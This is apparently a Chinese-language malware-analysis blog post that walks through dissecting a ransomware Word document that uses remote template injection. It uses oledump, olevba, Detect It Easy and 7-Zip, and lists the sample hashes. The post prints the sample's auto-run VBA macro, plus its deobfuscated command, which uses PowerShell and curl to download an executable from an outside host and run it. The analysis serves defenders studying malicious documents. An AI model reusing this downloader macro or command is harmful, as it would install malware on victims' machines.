前言
此次是简单的分析过程,主要用于困难环境下使用手动进行分析,在根据实际情况对相关的文档进行恶意分析!那么在智能沙箱的情况下,几乎这些手动的行为都被忽略了,所以会一些手动技巧也是巩固自身的知识,不依赖沙箱等情况!
1、工具:
-
https://github.com/Hopyoprop/OLEDUMP-Python-3
-
https://github.com/decalage2/oletools/wiki/olevba
-
https://www.detect-it.ai/
-
7-zip
-
https://gchq.github.io/CyberChef/
这里推荐一个数字取证工具包:
2、IOC样本:
Word 样本 SHA256:ee02e5051243512ec5a1839afc6b304b55fb7f14ad43ae84d53eb315c9674103
勒索文本 SHA256:1d9ddc7850fd9451d2c5d5cfed16de514a85f9ef285441fe53fec4ecc99f50e1
勒索软件 SHA256:0dd36a058705717a7d84622f9745b85277c37a07ad830a6648a01ef6e679324a
3、样本提取
4、恶意文档分析参考手册
正文 – 恶意的文档执行流程
一、使用 OLEDUMP 和 OLEVBA 分析Word 文档
1、OlEDUMP
工具介绍:OLEDUMP 是一个用于分析 OLE(对象链接和嵌入)文件的 Python 工具,也称为结构化存储或复合文件二进制格式。它是多个工具的软件包,包括 olevba、oleid、rtfobj 和 clsid,有助于检查和提取此类文件中的信息。
OLE 文件广泛用于 Microsoft Office 等应用程序。例如,.doc、.xls、.ppt 等都是 OLE 文件,而最近的 .docx、.xlsx 等在 ZIP 格式中使用 XML7。
OLEDUMP 的一种常见用途是解析和转储 OLE 文件的流。它允许使用“-s”选项选择特定流,后跟流编号,并使用“-S”转储该流中的字符串。
它还包括允许使用 YARA 规则、插件和解码器来进一步从 OLE 文件中提取和解码数据的功能。例如,它可用于从 Office 文档中提取 VBA 宏、URL 和 XOR 键。
以下是将 OLEDUMP 与 ZIP 存档中的 PE 文件一起使用的示例:“oledump.py -s 14 -D detector_ah.py RECHNUNG_vom_18122014.doc.zip”,其中 oledump 分析流 14 并应用“ah.py”解码器。从MZ和PE头可以识别嵌入文件是PE文件。
C:UsersotsanDesktopOLEDUMP-Python-3-masterOLEDUMP-Python-3-master>oledump.py C:UsersotsanDesktop240111-zcnywsgbej_pw_infected244e475d884c455bb1fbad1a4294f21c.docx
尝试提取和分析文档中的所有嵌入式对象和宏,如果没有则会返回空!
2、OLEVBA
工具介绍:olevba 是一个脚本,用于解析 OLE 和 OpenXML 文件,例如 MS Office 文档(例如 Word、Excel),检测 VBA 宏,以明文形式提取其源代码,并检测与安全相关的模式,例如自动执行宏、可疑 VBA恶意软件使用的关键字、反沙箱和反虚拟化技术以及潜在的IOC(IP 地址、URL、可执行文件名等)。它还检测和解码几种常见的混淆方法,包括 Hex 编码、StrReverse、Base64、Dridex、VBA 表达式,并从解码的字符串中提取 IOC。Excel 和 SLK 文件也支持 XLM/Excel 4 宏。
C:UsersotsanDesktopOLEDUMP-Python-3-masterOLEDUMP-Python-3-master>olevba C:UsersotsanDesktop240111-zcnywsgbej_pw_infected244e475d884c455bb1fbad1a4294f21c.docx
olevba 0.60.1 on Python 3.9.1 - http://decalage.info/python/oletools
===============================================================================
FILE: C:UsersotsanDesktop240111-zcnywsgbej_pw_infected244e475d884c455bb1fbad1a4294f21c.docx
Type: OpenXML
No VBA or XLM macros found.
No VBA or XLM macros found.这意味着该文档中可能没有包含任何恶意的宏代码。olevba 工具主要用于检测文档中的恶意宏代码,如果没有检测到宏代码,则可能该文档不包含恶意内容,或者恶意代码采用了其他形式进行隐藏。
二、使用 Detect-It Easy 识别文件类型-简单
工具介绍:Detect It Easy 是一款便携式开源加壳标识符实用程序,用于快速定义文件类型等。它配备了一个简单的界面,可以通过许多其他工具来帮助轻松处理。例如,您可以轻松地导入、导出、提取带有清单和版本的资源,使用十六进制反汇编器,执行各种相关搜索(ANSI、链接、UNICODE 和加密),并在易于阅读的图表上查看熵计算百分比率。Detect It Easy 可以轻松地从内容中识别 200 多种文件类型。
三、使用 7-zip 探索 OOXML 文档并查找模板注入
使用 7-Zip 打开 OOXML 文件(如 docx、xlsx、pptx)后,可以看到该文件是一个 ZIP 容器,其中包含了多个 XML 和文本文件 。要查找模板注入,你需要找到包含内容的 document.xml 文件 。在该文件中,你可以查找 <w:template> 标签,该标签用于指定文档模板 。如果该标签存在,则说明该文档是从模板生成的 。
需要注意的是,OOXML 文件格式较为复杂,直接查找和解析 XML 标签可能会存在一定的困难 。因此,你可以使用 Apache POI 库来读取和解析 OOXML 文件 ,该库可以轻松地获取文档的内容、样式、格式等信息 。
四、分析启用宏的模板+反混淆宏代码
C:UsersotsanDesktop240111-zcnywsgbej_pw_infected>olevba fgi5k8.dotm
olevba 0.60.1 on Python 3.9.1 - http://decalage.info/python/oletools
===============================================================================
FILE: fgi5k8.dotm
Type: OpenXML
WARNING For now, VBA stomping cannot be detected for files in memory
-------------------------------------------------------------------------------
VBA MACRO ThisDocument.cls
in file: word/vbaProject.bin - OLE stream: 'VBA/ThisDocument'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Private Sub Document_Open()
lxj1wl5o = "dnw64"
olekMnaj2d = "Fle3kmg9a76z"
erxi = Chr(Asc(Left(Application.Path, 1)) - 15)
hbi6omfd1 = Replace(":7dnw64C" & lxj1wl5o & "4D", "dnw64", "2")
Set knbiyq = GetObject("new" & hbi6omfd1 & "D5-D70A-438B-8A42-984" & CLng(1.9) & erxi & "B88AFB" & CInt(8.1))
lxj1wl5o = "C:UsersPub"
garz = lxj1wl5o & "liccw3fd.exe"
g6lfk4m304sk = Replace("cmd /c pow^lxj1wl5ors^hlxj1wl5oll/W 01 c^u^rl htt^ps://llxj1wl5oarndash.825tlxj1wl5ostsitlxj1wl5os.com/b/abc.lxj1wl5o^xlxj1wl5o -o " & garz & ";" & garz, "lxj1wl5o", "e")
knbiyq.exec g6lfk4m304sk
End Sub
+----------+--------------------+---------------------------------------------+
|Type |Keyword |Description |
+----------+--------------------+---------------------------------------------+
|AutoExec |Document_Open |Runs when the Word or Publisher document is |
| | |opened |
|Suspicious|GetObject |May get an OLE object with a running instance|
|Suspicious|Chr |May attempt to obfuscate specific strings |
| | |(use option --deobf to deobfuscate) |
|Suspicious|exec |May run an executable file or a system |
| | |command using Excel 4 Macros (XLM/XLF) |
|Suspicious|Hex Strings |Hex-encoded strings were detected, may be |
| | |used to obfuscate strings (option --decode to|
| | |see all) |
|Suspicious|Base64 Strings |Base64-encoded strings were detected, may be |
| | |used to obfuscate strings (option --decode to|
| | |see all) |
|IOC |cw3fd.exe |Executable file name |
+----------+--------------------+---------------------------------------------+
这段VBA宏代码是Microsoft Word文档的自动执行宏,但其中包含了一些恶意的行为迹象,逐行分析代码的功能:
g6lfk4m304sk = Replace("cmd /c pow^lxj1wl5ors^hlxj1wl5oll/W 01 c^u^rl htt^ps://llxj1wl5oarndash.825tlxj1wl5ostsitlxj1wl5os.com/b/abc.lxj1wl5o^xlxj1wl5o -o " & garz & ";" & garz, "lxj1wl5o", "e")
g6lfk4m304sk = Replace("cmd /c pow^ers^hell/W 01 c^u^rl htt^ps://learndash.825testsites.com/b/abc.e^xe -o " & garz & ";" & garz, "e", "e")
结束语:
在这篇文章中,我们使用了一系列工具和技术来分析恶意的 Word 文档。首先,我们使用了 OLEDUMP 和 OLEVBA 工具来检测文档中是否包含恶意的宏代码。然后,我们使用 Detect-It Easy 来识别文件类型,确认文档的类型。接着,我们使用 7-Zip 探索 OOXML 文档,查找是否存在模板注入。最后,我们分析了启用了宏的模板,并尝试反混淆宏代码,从中发现了一些恶意行为的迹象。
通过这些分析工具和技术,我们能够更好地了解恶意文档的执行流程和行为特征,帮助我们识别和应对潜在的威胁。同时,通过手动分析的过程,我们也能够提高自己的安全意识和技能,不仅仅依赖于自动化工具,更能够在复杂的环境中进行恶意样本分析和应对。
参考:
https://quentinkaiser.be/reversing/security/malware/macros/2017/01/29/macro-doc-analysis/
https://infosecwriteups.com/maldoc101-malicious-macros-analysis-with-oletools-8be3cda84544
https://www.joesandbox.com/analysis/search?q=ee02e5051243512ec5a1839afc6b304b55fb7f14ad43ae84d53eb315c9674103
https://www.virustotal.com/gui/file/ee02e5051243512ec5a1839afc6b304b55fb7f14ad43ae84d53eb315c9674103/detection
https://bazaar.abuse.ch/sample/ee02e5051243512ec5a1839afc6b304b55fb7f14ad43ae84d53eb315c9674103/
https://bufferzonesecurity.com/the-beginners-guide-to-ooxml-malware-reverse-engineering-part-1/
感谢您抽出
.
.
来阅读本文
点它,分享点赞在看都在这里
原文始发于微信公众号(Ots安全):恶意勒索Word文档模版注入分析